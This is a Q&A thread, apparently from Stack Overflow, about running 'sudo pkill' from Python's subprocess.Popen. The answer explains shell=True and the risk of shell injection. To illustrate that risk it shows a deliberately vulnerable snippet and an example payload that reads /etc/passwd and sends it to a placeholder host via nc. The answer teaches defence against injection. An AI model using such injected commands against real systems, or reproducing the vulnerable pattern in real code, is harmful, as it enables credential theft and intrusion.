Reputation: 6242
I'm trying to kill a specific python process launched earlier, lets call it test.py
.
The command in linux which terminates it is : sudo pkill -f test.py
-> works like a charm.
However when trying to launch via python code:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
I get a stacktrace with OSError: [Errno 2] No such file or directory
Any idea what am I doing wrong?
Upvotes: 0
Views: 1227
Reputation: 155366
By default, subprocess.Popen
will interpret a string argument as the exact command name. So, you pass a string foo bar
, it will attempt to locate an executable named foo bar
and invoke it without arguments. Unlike an interactive shell, it will not execute the command foo
with the single argument bar
.
When you type foo "bar baz"
or foo | bar
into a shell, it is the shell that splits the argument line into words and interprets those words as command name, arguments, pipe delimiters, redirection operators, etc. The simplest way for subprocess.Popen
to do this kind of input interpretation same is by using shell=True
to request that the argument be passed through a shell:
subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)
Unfortunately, as noted in the documentation, this convenient shortcut has security implications. Using shell=True
is safe as long as the command to run is fixed (and ignoring the obvious security implications of allowing apparently password-less sudo
.) The problem arises when the arguments are assembled from pieces that come from other sources. For example:
# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
stdout=subprocess.PIPE)
Here we are reading the argument from a network connection, and splicing it into a string passed to the shell. Aside from the obvious problem of a maliciously crafted peer being able to kill an arbitrary process on the system (as root, no less), it is actually worse than that. Since the shell is a general tool, an attacker can use command substitution and similar features to make the system do anything it wants. For example, if the socket sends the string $(cat /etc/passwd | nc SOMEHOST; echo process-name)
, the Popen
above will use the shell to execute:
sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)
This is why it is generally advised not to use shell=True
on untrusted input. A safer alternative is to avoid running the shell:
# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)
In this case, even if a malicious peer slips something weird into the string, it will not be a problem because it will be literally sent to the command to execute. In the above example, the pkill
command would get a request to kill a process named $(cat ...)
, but there would be no shell to interpret this request to execute the command inside the parentheses.
Even without a shell, invocation of external commands with untrusted input can still be unsafe in case the command executed (in this case sudo
or pkill
) is itself vulnerable to injection attacks.
Upvotes: 3